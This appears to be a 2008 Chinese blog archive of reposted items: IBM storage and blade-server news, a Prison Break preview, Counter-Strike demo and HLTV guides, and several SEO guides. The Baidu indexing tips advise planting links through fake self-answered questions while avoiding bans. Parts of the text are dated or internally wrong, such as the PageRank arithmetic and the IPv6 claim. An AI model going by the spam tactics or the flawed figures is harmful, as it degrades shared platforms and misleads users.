2008年12月12日星期五

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(不经常在线,一般是一个礼拜上一次 )

(转)【超市特价】老母亲买个釉子回家,打开后全家也哭了

记得多年前,网上有帖子名为“买个西瓜回家,切开后全家都哭了”,看过帖子图片后,笑的肝疼。












 昨天,家中老太太路过乌鲁木齐河南东路康尔家超市,入内闲逛时发现几个特价水果,外观、包装没有什么问题,遂精挑细选一釉子,买回家来准备让大家家人鉴赏、品尝一番。   今日,打开那个特价釉子,全家人都笑了…………

















2008年9月4日星期四

友情连接

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IBM闪存数据传输速度突破百万IOPS大关!

IBM公司日前宣布他们在闪存方面的一项研究计划取得重大的突破性进展,闪存数据传输速度超越每秒100万输入/输出操作,比目前业界速度最快的磁盘存储还要快出2.5倍之多。
IBM公司上周四宣布的Project Quicksilver是结合了IBM存储虚拟化技术的固态闪存。据IBM介绍,Quicksilver的性能提升了250%,但反应所需的时间仅为原来的二十分之一,所占空间仅为其他存储设备的五分之一,而能耗和冷却需求仅为其他存储系统的55%。
IBM介绍说Quicksilver的数据传输速度是IBM公司自己的SAN音量控制器和DS4700型存储设备的2.5倍。也是号称目前世界上速度最快的存储设备Texas Memory Systems(每秒输入/输出操作速率即IOPS为40万)的2.5倍。
这款闪存的目标用户是针对诸如EMC公司这样希望利用固态磁盘实现更为快速有效的存储利用的企业级用户。举例来说,SUN公司表示他们计划销售32GB存储容量的闪存,IOPS数据写入传输速率超过5000,读取速率至少达到30,000。
IBM公司自2007年6月开始在某些BladeCenter服务器上销售固态硬盘,但是这并意味着Project Quicksilver能成为市场畅销的产品(与存储产品相比)。
Quicksilver闪存是IBM公司位于英格兰的Hursley开发实验室与IBM位于美国加利福尼亚州的阿尔玛登研究中心合作的成果。
IBM公司在发布会上表示"这种数量级的性能提升对企业的业务会产生深远的影响,像研究系统,金融贸易系统这样对时间要求比较严格的应用软件在规定的期限内能完成的过去2到3倍的工作量,也为对信息存储和分析解决方案创造了新的机遇"。
IBM公司还表示,尽管Project Quicksilver的闪存技术确实具有提升数据传输速度的潜力,但还无法替代现有的硬盘驱动器。它仅是存储系统"完整的端对端方法"的一个分支。

应对黑客袭击 IBM新推防毒刀片服务器

IBM发布了一款刀片服务器,此款服务器可支持深度包检测工具,这样就可以更好地保护服务供应商和其他运营商免受病毒侵害和攻击。 BladeCenter PN41是由IBM和BladeCenter PN41(一家服务管理和安全公司)合作开发。这一服务器采用了英特尔公司开发的一款专业芯片,也采用了CloudShield软件搜索并控制网上交易。 这款产品的操作系统、以及部分服务管理和安全保护软件都是由CloudShield开发。 DNS Defender是一款可监测并清除恶意交易的应用软件,安装这一软件后,任何交易必须通过一系列协议过滤器处理才可确认为有效交易。CloudShield同时还利用缓存来改进域名服务器的查找功能。 IBM BladeCenter PN41刀片服务器 CloudShield的Subscriber Services Manager软件可将应用软件交易按订户水平进行排序。
IBM公司在声明中称,"网络操作员还可以对自身交易进行高效校验,同时识别并生成点对点交易。"
电信公司可采用这款服务器进行音频、视频和数据网络新税收模式的开发;也可根据订户的使用情况来定价。
当然,点对点交易中的欺诈行为是服务供应商和订户之间讨论的焦点问题。目前这些技术--通过将大量文件共享而减轻网络带宽负担--已经被美国和加拿大的网络交易诈骗者成功破译。
IBM公司方面说,不久将提供IP Transition Gateway交易网关--可将IPv6地址转换为IPv6的副本地址,也可转换回去。这一软件预计将在年底投入使用。
IBM也提供了Lawful Intercept,这款应用软件可追踪并记录VoIP的会话,经法院审核后可对之进行处理和分析。这一特定软件由GTEN和CloudShield联合制造,目前已经上市。
PN41服务器采用英特尔IXP2805网络芯片来管理软件包。其配置为:四个1 Gigabit以太网控制器,四个10Gb控制器。
IBM说这一刀片服务器采用了多种类型的内存,包括TCAM、QDR和RDRAM,这些内存都存储量是固定的,不可随意扩大。安装刀片的机箱为BladeCenter H 和HT。
这款服务器预计将于今年十月在全球上市,当前尚未定价.

(道高一尺魔高一丈.....)

什么是Google PR值? 如何提高PR值?

Google大受青睐的另一个原因就是它的网站索引速度。向Google提交你的网站直到为Google收录,一般只需两个星期。如果你的网站已经为Google收录,那么通常Google会每月一次遍历和更新(重新索引)你的网站信息。不过对于那些PR值(Pagerank)较高的网站,Google索引周期会相应的短一些。 Google的索引/重新索引周期比大多数搜索引擎要短。这就允许网站管理员可以对网站的页面属性进行编辑修改,如网页标题、头几行文字内容、大字标题、关键字分布,当然了还有外部链接的数量。然后他们很快就可以发现对网页所做的这些更改是否成功。 正因为Google如此受欢迎,你有必要知道Google的搜索引擎是如何工作的。如果不知道它是怎样决定你的排名,那么那些只是稍微熟悉Google排名运算法则的站点都会比你的排名位置要靠前。现在让我们来看一下Google的排名运算法则。 Google的排名运算法则主要使用了两个部分,第一个部分是它的文字内容匹配系统。Google使用该系统来发现与搜索者键入的搜索词相关的网页;第二部分也是排名运算法则中最最重要的部分,就是Google的专利网页级别技术(Pagerank?)。 我先来介绍一下如何使网站具有相关性,即文本内容匹配部分的运算法则: 在搜索网站的关键字时,Google会对其标题标签(meta title)中出现的关键字给予较高的权值。所以你应当确保在你网站的标题标签中包含了最重要的关键词,即应围绕你最重要的关键词来决定网页标题的内容。不过网页的标题不可过长,一般最好在35到40个字符之间。 众所周知,Google并不使用元标签(Meta Tags)如关键字或描述标签。这是由于在这些元标签中所使用的文字并不能为实际的访问者所看到。而且Google认为,这些元标签会被某些网站管理员用于欺诈性地放置一些与其网站毫不相干的热门关键词,并以此提高其网站对该不相干关键词的排名,从而以不正当的手段获得更多的访问者。 这种不支持Meta Tags的特性,意味着Google将从一个网页的头几行文字内容来生成对一个网站的描述。也就是说,你最好把你的关键字或关键短语放到网页的上方,这样如果Google找到它们,就会相应提高你网站的相关性。一旦Google找不到这样相关的内容,那么你要花费很大的力气来让你页面的其它部分具有相关性。 在决定一个网站的相关性时,Google也会考虑网页中正文内容的关键字密度(Keyword Density),所以你要确保在你的整个网页中贯穿出现了若干次关键词和关键短语。但是要记住“过犹不及”,6-10%的关键词密度为最佳。 增加页面相关性的其它策略还包括:在标题内容中放入关键词,并尽可能对内容中出现的关键词进行加粗。Google现在也索引图片的ALT属性文字并计入相关性计算。所以在你的ALT属性中应包含关键词,来增加网站的相关性得分。 增加页面相关性的最后一个技巧就是使你网站上的外部文字链接包含你的关键字。在外部文字链接中包含关键字可有效提高你的网站相关性得分(Google在其PageRank技术的描述中,亦提及在计算网页级别时会对该网站的外部链接进行分析并计入相关性)。 在文字链接中应该包含多少关键字?这是个见仁见智的问题。不过我注意到有很多网站在他们的交换链接区域,已经提供了相应的文字链接内容。例如:“欢迎进行友情链接,并请使用如下代码建立至本网站的链接。” 上面我们介绍了Google如何计算网站的相关性,及如何增加网站相关性的一些有关知识。不过Google究竟使用什么方法来衡量一个网站的好坏呢?答案就是-Google的Pagerank?系统。 PageRank取自Google的创始人Larry Page,它是Google排名运算法则(排名公式)的一部分,用来标识网页的等级/重要性。级别从1到10级,10级为满分。PR值越高说明该网页越受欢迎(越重要)。例如:一个PR值为1的网站表明这个网站不太具有流行度,而PR值为7到10则表明这个网站非常受欢迎(或者说极其重要)。 在计算网站排名时,PageRank会将网站的外部链接数考虑进去。我们可以这样说:一个网站的外部链接数越多其PR值就越高;外部链接站点的级别越高(假如Macromedia的网站链到你的网站上),网站的PR值就越高。例如:如果ABC.COM网站上有一个XYZ.COM网站的链接,那么ABC.COM网站必须提供一些较好的网站内容,从而Google会把来自XYZ.COM的链接作为它对ABC.COM网站投的一票。你可以下载和安装Google的工具条来检查你的网站级别(PR值)。 那么是不是说,一个网站的外部链接数越高(获得的投票越多), 这个网站就越重要,因而在用与其相关的关键词进行搜索时,它就会取得更高的排名呢?--大错特错。 Google对一个网站上的外部链接数的重视程度并不意味着你因此可以不求策略地与任何网站建立连接。这是因为Google并不是简单地由计算网站的外部链接数来决定其等级。要是那样的话,所有网站管理员就只剩一件事情可做了-疯狂交换链接,尽可能获得最多的外部链接。Google是这样描述的:“Google不只是看一个网站的投票数量,或者这个网站的外部链接数量。同时,它也会对那些投票的网站进行分析。如果这些网站的PR值比较高(具有相当重要性),则其投票的网站可从中受益(亦具有重要性)。 那么,是不是说对一个网站而言,它所拥有的较高网站质量和较高PR分值的外部链接数量越多就越好呢?-也不尽然。 说它错是因为-Google的Pagerank系统不单考虑一个网站的外部链接质量,也会考虑其数量。比方说,对一个有一定PR值的网站X来说,如果你的网站Y是它的唯一一个外部链接,那么Google就相信网站X将你的网站Y视做它最好的一个外部链接,从而会给你的网站Y更多的分值。可是,如果网站X上已经有49个外部链接,那么Google就相信网站X只是将你的网站视做它第50个好的网站。因而你的外部链接站点上的外部链接数越多,你所能够得到的PR分值反而会越低,它们呈反比关系。 说它对是因为-一般情况下,一个PR分值大于等于6的外部链接站点,可显著提升你的PR分值。但如果这个外部链接站点已经有100个其它的外部链接时,那你能够得到的PR分值就几乎为零了。同样,如果一个外部链接站点的PR值仅为2,但你却是它的唯一一个外部链接,那么你所获得的PR值要远远大于那个PR值为6,外部链接数为100的网站。 这个问题现在看来好象越来越复杂了。不要紧,看看下面这个公式你就会完全理解了,只是需要一点数学知识。 首先让我们来解释一下什么是阻尼因数(damping factor)。阻尼因素就是当你投票或链接到另外一个站点时所获得的实际PR分值。阻尼因数一般是0.85。当然比起你网站的实际PR值,它就显得微不足道了。现在让我们来看看这个PR分值的计算公式: PR(A) = (1-d) + d(PR(t1)/C(t1) + ... + PR(tn)/C(tn)) 其中PR(A)表示的是从一个外部链接站点t1上,依据Pagerank?系统给你的网站所增加的PR分值;PR(t1)表示该外部链接网站本身的PR分值;C(t1)则表示该外部链接站点所拥有的外部链接数量。大家要谨记:一个网站的投票权值只有该网站PR分值的0.85,而且这个0.85的权值平均分配给其链接的每个外部网站。 设想一个名为akamarketing.com的网站,被链接至PR值为4,外部链接数为9的网站XYZ.COM,则计算公式如下: PR(AKA) = (1-0.85) + 0.85*(4/10) PR(AKA) = 0.15 + 0.85*(0.4) PR(AKA) = 0.15 + 0.34 PR(AKA) = 0.49 也就是说,如果我的网站获得一个PR值为4,外部链接数为9的网站的链接,最后我的网站将获得0.49的PR分值。 再让我们看看如果我的网站获得的是一个PR分值为8,外部链接数为16的网站的链接,那么我将获得的PR分值将是: PR(AKA) = (1-0.85) + 0.85*(8/16) PR(AKA) = 0.15 + 0.85(0.5) PR(AKA) = 0.15 + 0.425 PR(AKA) = 0.575 上述两个例子表明,外部链接站点的PR值固然重要,该站点的外部链接数也是一个需要考虑的重要因素。 好了,大家无须记住上面的公式,只要记住:在建设你自己网站的外部链接时,应尽可能找那些PR值高且外部链接数又少的网站。这样一来你网站上这样的外部链接站点越多,你的PR值就会越高,从而使得你的排名得到显著提升。 不过,为使你的PR值得到提高,你最应该做的一件事情就是-向DMOZ提交你的网站,从而为DMOZ,即ODP(开放目录专案)收录。 众所周知,Google的Pagerank?系统对那些门户网络目录如DMOZ,Yahoo和Looksmart尤为器重。特别是对DMOZ。一个网站上的DMOZ链接对Google的Pagerank?来说,就好象一块金子一样有价值。这时候收录该网站的那个DMOZ目录页的PR分值,也变得无足轻重了。我就看到过有一些站点,就因为被ODP所收录,从而身价倍增,其PR分值在Google上立即得到提升。这就是因为Google使用了它自己的ODP版本作为它的网站目录。 ODP的链接对Pagerank?非常重要。如果你的网站为ODP收录,则可有效提升你的页面等级。不信吗? 确实如此。在Google上随便找个词搜索,你会发现,Google所提供的搜索结果的头10个站点中,就有7到8个也同时在Google的目录中出现。这个事实足以说明,如果一个网站没有被ODP收录的话,那它也别指望能从Google上得到太多的访问量。 向ODP提交你的站点并为它收录,其实并不是一件难事,只是要多花点时间而已。只要确保你的网站提供了良好的内容,然后在ODP合适的目录下点击“增加站点”,按照提示一步步来就OK了。至少要保证你的索引页(INDEX PAGE)被收录进去。我说“至少”是因为尽管ODP声称他们只收录你的索引页,而事实上在ODP上却不乏被收录了5到10页的网站。所以,如果你的网站内容涉及完全不同的几块内容,你可以把每个内容的网页分别向ODP提交-不过请记住“欲速则不达”。等到Google对其目录更新后,你就能看到你的PR值会有什么变化了。 如果你的网站为Yahoo和Looksmart所收录,那么你的PR值会得到显著提升。关于“Yahoo提交技巧”,如果有时间可以阅读下面这篇文章“Yahoo网站提交技巧”。 如果你的网站是非商业性质的或几乎完全是非商业性质的内容,那么你可以通www.Zeal.com使你的网站为著名的网络目录Looksmart所收录。我个人非常喜爱ZEAL.COM,就象Google也从DMOZ获得搜索结果一样,Looksmart也是从Zeal网络目录获得非商业搜索列表

2008年9月1日星期一

越狱第四季 首播!!!无字幕

越狱第四季 将亮相!

《越狱》剧照

中国日报网站环球在线消息:纵然剧情越来越狗血,但美剧《越狱》仍是众多中国粉丝的心头肉。在等待了将近9个月之后,《越狱4》将于美国时间9月1日重磅回归,中国观众最快可以在北京时间明日中午看到首集两小时特别版。莎拉将如何“重生”,迈克的文身如何被除去,哪一位重量级人物将死去,首集三大悬疑吊足观众的胃口。《越狱》的回归也拉开了秋季美剧播出的序幕,在接下来的一个月内,《英雄》《绝望的主妇》《CSI》《犯罪心理》《绯闻女孩》等美剧将逐一登场亮相。
悬念一:莎拉化身复仇女神?
在第三季中,莎拉被编剧无情斩首。这个被称为剧中唯一闪烁着温情光芒的角色“死”后,众多狂热的粉丝愤愤不平。好在编剧让林肯匆匆忙忙看了一眼盒子里的人头后就宣布莎拉死亡,这让一切皆有可能。莎拉确定会复活,重回《越狱4》,不过观众是否能在首集两小时的特别版中看到她尚是疑问。更关键的是,莎拉还是以前那个莎拉吗?扮演莎拉的莎拉·韦恩·凯利斯在接受采访时表示,在第四季中,她可能会展现出更多内心的黑暗面。难道莎拉将化身复仇女神?
悬念二:迈克的文身将被除去?
迈克像一件衣服穿在身上的文身是否将在首集便会被除去呢?文身曾经在迈克的越狱过程中起到了决定性的作用。在第三季中,迈克就一直穿着长袖衣服,显然那时候他已经没有上“文身”妆了。此前,迈克的扮演者温特沃什在接受采访时表示是自己主动去找了编剧了结“文身”问题,他说做文身是一个非常费力的过程,“在第一季这非常有趣,但是迈克已经越狱成功,他已经完成了他的使命。为了情节上的需要,我在达拉斯的高温下,还得穿着长袖衣服,因为我们得假装这该死的东西还在。于是我去找了编剧,对他说,我们怎么样才能用令人满意的方法给那些仍期待着文身的观众一个交代?”现在文身终于要正式跟观众说byebye了,希望编剧能给个有说服力的理由。
悬念三:哪个主角会在首集死去?
《越狱》第三季的收视率岌岌可危,为了保住这部剧,《越狱》编剧下了血本,将在首集干掉一位主角!除去迈克,林肯是最重要的角色,此人的特点便是四肢极其发达头脑极其简单,常常冲动坏事,不过从预告片中看,他的戏份颇多,应该不会挂在第一集。前FBI马洪战斗力很强,但是有毒瘾,而且是迈克的杀父仇人,第一集就死的可能性非常大。究竟是哪个角色要先死,还得等此剧回归之时才能揭晓。

2008年8月30日星期六

seo优化中对用户搜索行为分析

下面主要简单地介绍在seo优化中对用户搜索行为分析,讲解为什么网站推广过程当中要研究用户搜索行为,以及目前公认的用户搜索行为的三大变化趋势。

  一、用户的搜索行为对于关键词分析的意义

  在seo中,用户的搜索行为分析非常重要。因为只有更清晰地了解用户的搜索行为,才能避开激烈的竞争,选择与目标搜索用户最匹配的搜索关键词,并将最终搜索结果以用户最喜欢的方式呈现出来。

  如果不对用户的搜索行为有深入分析,则无法正确地选择最有价值的关键词,无法正确地跟踪,提升站点在搜索引擎上的表现。有人甚至提出,经过用户搜索行为分析,而实施的seo策略,等于变性地提升站点的排名。以符合搜索行为方式呈现的结果,即使排名靠后,但可能吸引的点击比相对靠前的仍占优势。

  二、 用户搜索行为三大变化趋势

  1. 搜索引擎得到了用户忠诚度:82%的用户在第一次搜索不成功时,并不更换搜索引擎,而是用更多的关键词重新搜索。搜索引擎技术方面的差异性似乎已经不如品牌差异性那么明显。

  2.用户愈加采用长尾查询:用关键词更多、更长的查询(对营销者来说,不仅要定向到简单关键词,还有更多关键词的词语);对于seo来说,这是一个好消息。相比那些竞争激烈的核心关键词,长尾关键词的排名要容易得多。

  3.用户选择不同的搜索引擎完成不同的搜索需求:尽管搜索引擎得到了用户忠诚度,但是更多的人还是习惯用不同的搜索引擎完成不同的搜索需求。这也反映了不同的搜索引擎的品牌有不同的涵义。比如百度更娱乐化,而Google相对更有商业价值。人们习惯用百度搜索MP3,用Google搜索国际论文。随着不同领域的垂直搜索的诞生,这一趋势更为明显。

  三、 除了上述三点之外,还有一些值得提到的信息是:

  4.90%的用户的点击几种在搜索结果前3页。如果在前三页找不到所需要的搜索结果,将近90%的用户会修正搜索关键词或者转向另一搜索引擎。

  5.搜索引擎的用户信任有所提升,使用更多关键词的搜索也有所增多。

  6.那些出现在自然搜索结果前列的公司,被认为有更多品牌公信力,说明搜索引擎也有助于实现品牌目标。

Google优化-Seo168

Google优化-设计与内容优化  1、结构优化  网站的目录结构要趋于扁平化,要具有清晰的层次结构,目录最深不要超过3层,否则会给Google蜘蛛的抓取带来麻烦。  2、站内导航优化  为用户提供一个网站地图,列出指向网站重要位置的链接,每个网页应至少可以通过一个静态文本链接打开, 因为Google不能抓取图片或Flash中的连接,否则会导致网页索引不全。  3、关键词优化  要准确定位关键词,也要充分考虑扩展关键词的作用,有时扩展关键词所带来的流量要远远大于主关键词带来 的流量,而且扩展关键词往往更易于优化排名。  4、标题、标签优化  确保Title和Meta标签中包含所选定的关键词,Title中要严格限制关键词出现的次数和频率,一般同样的关键词 最好不要超过3次,尽量用扩展的词组来代替关键词。  5、链接优化  要尽量使用带有关键字的文本链接,而且不要有损坏的链接,并确保书写格式的正确。将网页中的链接限定在 合理的范围内(一般小于100)。  6、内容优化  内容是网页的灵魂,是网页要向用户传达的根本信息,是Google优化中最重要的步骤之一。Google喜欢原创的 文章,并且要合理的把关键词编排到网页中去,密度在3%~7%为最佳

教大家让百度快速收录的五大定律

1.创建百度空间。
  一般来说,创建的百度空间一般几天就可以收录。新站可以创建一个与自己网站相关的百度空间,然后在空间里添加一些文章并附上自己网站的网址。同时,在百度空间里的友情链接也加上自己的网址。百度在收录空间的同时也会链接找到您的新站。通过这一步骤,大概一个星期左右即可被百度收录。当然,如果觉得建空间麻烦,也可以到百度空间首页(hi.baidu.com)找一些推荐空间,在他们的空间里留言并加上链接也可以加快收录。
  2.百度知道发帖回帖。
  百度知道栏目在百度搜索里的权重很高,在百度知道的栏目里发帖回贴也可以加快收录。可以采用自问自答的模式将自己的回答设置为答案,在答案里的“资料来源”处加上自己的新站链接。如果您觉得百度知道自问自答很麻烦容易被封,那就在一些最新的百度知道“未解决问题”中回答别人的问题并加上自己的链接。对于这些未解决的新问题,百度也会经常光顾检索的。
  3.百度百科创建新词条。
  百度百科栏目在百度搜索的权重跟百度知道栏目差不多。您可以创建一条与新站主题差不多的新词,然后在“资料来源”里写上网站和链接地址。此效果跟百度知道回答一样有异曲同工之效。
  4.百度收藏新站。
  百度收藏栏目(cang.baidu.com)是百度的新栏目,虽然权重不高,也没有实例证明其对收录的有效性。但海式电子商务机构认为,百度收藏其实就是用户的网上收藏夹,对于用户收藏夹里的网站百度肯定会给以相应的权重,至少会去拜访了解一下。
  5.发软文加链接。
  发篇软文然后贴到站长网等知名网站这是很多新站站长首选的方法。其实这方法并不如上面列的几条方法收录来得快。毕竟以上5条方法是在百度自己的产品里推荐新站。这就好比两个孩子,一个是自己亲手的,另外一个是别人家的,您说做父母的会照顾谁多一点呢? 听说咱们的Admin5 现在是10分钟即可被Baidu收录,5分钟即可被Google 收录。

了解百度收录过程 让你的网站快速收录

搜索引擎收录过程:
  1、抓取网页
  每个独立的搜索引擎都有自己的网页抓取程序(spider)。Spider顺着网页中的超链接,连续地抓取网页。由于互联网中超链接的应用很普遍,理论上,从一定范围的网页出发,就能搜集到绝大多数的网页。
  2、处理网页
  搜索引擎抓到网页后,还要做大量的预处理工作,才能提供检索服务。其中,最重要的就是提取关键词,建立索引文件。其他还包括去除重复网页、分析超链接、计算网页的重要度。
  3、提供检索服务
  用户输入关键词进行检索,搜索引擎从索引数据库中找到匹配该关键词的网页;为了用户便于判断,除了网页标题和URL外,还会提供一段来自网页的摘要以及其他信息。
  这是摘自<<搜索引擎系统学习与开发实践总结>>的一段总结:首先蜘蛛读取抓取站点的URL列表,取出一个站点URL,将其放入未访问的URL列表(UVURL列表)中,如果UVURL不为空刚从中取出一个URL判断是否已经访问过,若没有访问过则读取此网页,并进行超链分析及内容分析,并将些页存入文档数据库,并将些URL放入已访问URL列表(VURL列表),直到UVRL为空为止,此时再抓取其他站点,依次循环直到所有的站点URL列表都抓取完为止。
  如何更快被百度收录:
  1. 建立一个单页面,从百度百科找一段关于网站关键词的介绍,再去其他地方找另外一种介绍。如网站做SEO,就找SEO在百科的解释,再去维基百科找找seo的介绍,二者结合拼凑成一个单页面;
  2. 单页面命名为index.htm或者default.htm,成为网站的首页。再去百度的登录入口去登录一次你的网站:http://www.baidu.com/search/url_submit.html
  3. 无需任何外部链接,最多两天后你将在搜索引擎看到你的网站在当天就被收录了!比如 你27日登录的,虽然百度可能27日就收录了你的站,但是你可能需要再过一两天才能看到被收录。
  4. 以上方法我已经测试了数十个域名,屡试不爽!收录后再改版你的网站吧
  最后给大家一些收录的建议:
  1. 收录前就把首页title的关键词定义好,避免更改关键词太快,引起搜索引擎反感
  2. 主动去登录你的网站,而不需要急着去找任何外部链接(新站的目标是被收录)
  3. 安装好搜索引擎工具条
  4. 单页面文件不要太长太大,100K以内最好
  5. 随时关注收录情况,去搜索新站的网址或者site一下

kick的原因

服务器有开cd,可是开了cd进去一样被kick又或者不能动的原因有5个可能  1:你的cs内核被作弊软件修改过    2:你的cs根目录下有作弊软件    3:开了瑞星等杀毒软件。    4:服务器开了cheating-death,你没开。或者你的cd版本太低    5:服务器没开cheating-death,你手多开了

观看demo及HLTV的录制

大家都看过CS的demo吧?demo有两种形式:一种是主视角的demo,你只能够看到一个人的视角,这种demo是由游戏者在游戏过程中录制的(游戏者看到什么你就只能看到什么);另外一种是hltv格式的demo,你可以看到比赛中所有人的视角,也可以自由在地图选择任意一个视角观看。    今天主要介绍一下如何观看、录制demo    首先,demo的文件后缀名为.dem    首先,到各大cs主题网站下载demo,然后将*.dem解压缩到/sierra/Half-Life/cstrike/文件夹下,记住demo的文件名,然后进入cs,进入控制台,输入:    playdemo***    viewdemo***    (***为你下载的demo的文件名,在这里不需要加上.dem后缀,直接输入文件名即可)    回车,接下来就可以观看demo了    *如果使用mod版本,那么游戏原本就带有控制台    如果使用商业版本,你需要在cstrike.exe的快捷方式中加上-console,在游戏中使用""~""可以唤出控制台。    当然,这种方法比较麻烦,所以我推荐使用GeekPlay来观看demo,目前GeekPlay的最新版本为4.0     GeekPlay是half-life一个很好用的demo播放器,通过它可以非常轻松的浏览和观看demo(客户端或hltv录制的demo)。在播放demo前可以很直观的。    通过图形化界面查看demo信息,例如demo的地图图象、玩家ID等等。GeekPlay可以根据你的需要进行自定义设定,像一个小的文件浏览器、自动协议转换、去除团队信息、改变播放速度、播放旧版本demo等等。    GeekPlay支持Half-Life下所有mods的播放。    一些说明    辨别mod版和商业版的区别,你可以查看cs的执行文件为hl.exe的就是mod版,执行文件为cstrike.exe的是商业版。(个人推荐使用mod版本)    geekplay在播放的时候会把demo复制到/sierra/Half-Life/cstrike/文件夹,命名为geekplay.dem,播放完毕会自动删除,如果你直接从压缩包中读取demo文件,那么geekplay.dem将会保留在/sierra/Half-Life/cstrike/中,而不会被删除。告诉大家这个有什么用呢?就是说,你在播放过程中,输入viewdemo*.dem,就可以再次读取此demo,从而达到一些目的(后面会有说明)    最后,我还要推荐一个观看demo的方便工具viewdemo    这个工具能够帮助你更方便的观看demo,他的功能主要有以下几点;可以在播放录像的过程中暂停、选择播放速度;可以采用拖动的方式选择你所要观看的段落(很方便哦,这样一来你就可以分几次看完一个demo,不用每次看的时候都要从头开始了,对一些细节还可以仔细推敲,适合研究战术)     viewdemo的安装方式很简单,下载以后解压缩到/sierra/Half-Life/即可,    进入游戏,打开控制台,输入viewdemo***.dem就可以观看demo,并且享受到以往没有的便利。用F2呼出、关闭viewdemo控制台,呼出viewdemo控制台以后,就可以用鼠标操作相应功能了viewdemo的安装方法:解压缩到/sierra/Half-Life/文件夹底下覆盖原文件即可。    几点说明    使用viewdemo的时候,他在开始一段时间将会对deom文件进行读取分析,你将会看到拖动块由末端向前段滚动,这时候会有较高的cpu占用率,所以fps将会下降。不过读取分析结束之后就一切恢复正常了,从而使你可以自由的选择需要观看的demo片断。    用F2呼出viewdemo控制台后,可以使用鼠标来操作以上功能,这时你不能用鼠标来控制视野,再次用F2关闭viewdemo控制台后,鼠标的功能恢复。    GeekPlay与viewdemo的合并使用geekplay在播放的时候会把demo复制到/sierra/Half-Life/cstrike/文件夹,命名为geekplay.dem,播放完毕会自动删除,如果你直接从压缩包中读取demo文件,那么geekplay.dem将会保留在/sierra/Half-Life/cstrike/中,而不会被删除。现在的demo下载基本上都为压缩包(dem文件具有很高的压缩比)。将GeekPlay与viewdemo合并使用将会给你带来很大的方便。     首先用GeekPlay将demo文件打开,调整你所需要的分辨率等等,打开的同时也将demo文件复制到了/sierra/Half-Life/cstrike底下。播放,进入观看模式。打开CS的控制台,输入”viewdemogeekplay”,重新读入GeekPlay复制到/sierra/Half-Life/cstrike/下的demo文件。这样viewdemo的功能就被激活了。    当然,如果哪位高手能够将geekplay的播放命令改为viewdemo,那么安装viewdemo后就可以直接使用Geekplay来播放demo了。如果在播放过程中没有声音或者突然暂停(不是结束),请按Esc弹出后重新进入。

HLTV对比赛实况转播

现在很多国外的联赛都会使用HLTV对比赛进行实况转播,你如果想看HLTV的现场转播,那么,你就学习一些基本的操作了。    首先进入CS选择PLAYCS    然后选择ViewGame    选择ADDSERVER    SERVER的地址你可以去各大CS主题网站查找,或者直接去国外的网站,战队主页,都可以查询到    添加HLTV的地址    进入,可以选观看模式也可以直接使用空格键切换视角、观看模式,e键打开、切换、关闭小图视角。    鼠标左右键切换所要观看的队员。A、w、s、d控制位置。    在这里我简单介绍一下录制HLTV格式demo的方法    首先要在桌面上建立一个hltv.exe的快捷方式    例如:    X:/sierra/Half-Life/hltv.exe+connect61.187.55.87:27025-port27020+namePUNK    connect是指定HLTV连接    61.187.55.87:27025是指定连接的CS服务器地址,我用的是CCSK8#的服务器    -port27020指定HLTV端口为27020(别人可以进入你所建立的hltv服务器中观看,你的服务器地址为,你的IP:制定的端口例如我的
    218.104.97.71:27020)    +namePUNK指定观看者名字为PUNK(这是你在你所进入的服务器中的ID)    如果你所连接的cs服务器有密码的话,假设密码是123,那么你需要在    hltv.exe所在的目录下找到hltv.cfg文件,打开它,添加一行serverpassword123启动hltv服务器才能连进cs服务器。    保证你现在已经在联网状态,运行hltv在桌面上创立的快捷方式,可以看到如下画面    (左下角的那个是因为截图的快捷键导致的,这里可是不能输入中文的)    录制录像的命令和普通游戏一样    record***录制文件名为***_1的demo,他在你的/sierra/Half-Life/文件夹下    用stoprecord命令来结束demo的录制    几点说明    当你开始运行hltv以后,他会自动不断地连接你所选择的服务器,每三秒一次,直到连上为止。掉线也一样,他会自动将你得demo分段进行录制。    HLTV的核心就是hltv.exe这个代理程序.HLTV代理可以连接到某些特定的服务器上,搜集一切有关信息,然后将这些信息传播出去.HLTV需要一个客户端以观战者的身份加入游戏来进行直播.如果玩家使用LAN活着ISP这种不支持多点传送技术的连接协议的话,那么你可以通过HLTV来进行观战.HLTV代理能够支持的客户端人数是由硬件配置和网络状况来决定,不同的HLTV代理之间也可以互相连接,从而使观战的玩家可以同时看到不同场次的比赛.在所有的设置中,只有一个HLTV代理直接与游戏相连接,它被称为主代理.主代理以观战者的角度来播放游戏和搜集并分析游戏中的有关信息,其它的HLTV代理(也称作转接代理)再通过与主代理相连接而形成一个播放网络,将游戏的实时信息传送到与它相连接的玩家.转接代理不能延迟游戏或者转换播放视角,这些工作只能由主连接来完成.只有主连接才被允许发出多点传送命令.非常重要的一点是,每个代理都必须拥有自己的一个独立的多点传送组,否则不同的信号将可能互相干扰.     HLTV将会把正在播放的游戏的信息传送给WON服务器,而玩家则可以通过内建于Half-Life里的观战功能来进行连接.连接HLTV代理将与连接游戏服务器一样简单.玩家还可以通过在命令界面输入""connect""命令来连接HLTV服务器.如果HLTV正在使用多点传送技术播放,那么玩家将自动进入这个多点网络.    目前HLTV代理可以使用如下命令:    connect-使用特定端口连接到某个服务器或者代理(默认27015)    disconnect-与服务器或者代理断开连接    quit-退出HLTV系统    exit-等同于quit    retry-重新与上次连接过的服务器或者代理连接    name-设定代理的名称    password-设定服务器密码    clients-列出所有进行播放的观战者的名称    kick-把观战者从代理中踢出    say-向所有观战者发送文本信息    chatmode-如果设定为0,观战者将无法交谈.设定为1,则只有连接到同一代理的观战者可以互相交谈.如果设定为2,则所有处于同一播放网络内的玩家可以互相交谈.(主代理和转接代理都必须设定为2).     ping-测试与服务器特定端口之间的PING值(默认27015)    heartbeat-发送一个状态包到指定的WON主服务器    rcon-发送一个遥控命令到其它服务器/代理    rcon_address-发送遥控命令到特定地址    rcon_password-为遥控的服务器设定密码    proxypassowrd-重新确认输入的密码    rate-绑定服务器与代理之间的传输速率为N字节/秒    updaterate-每N秒钟服务器与代理之间进行一次更新    maxclientrate-设定观战客户端的最大连接速率    delay-设定从服务器传来的信息的延迟秒数,默认为30秒,以避免作弊.最小设定为10秒.    loop-如果回路设定为1,那么即便代理与服务器断开连接或者录像文件播放结束,所有与这个代理的连接用户将保持连接并重播上一个游戏录像.    multicast-开始或者结束主代理上的多点传输    connectip-为多点传输组设定D级IP(默认234.5.5.1:27025)    gameip-同上    fullupdateinterval-多点传输时,允许丢包连接客户端每隔N个未压缩帧包重新连接(默认每20帧)
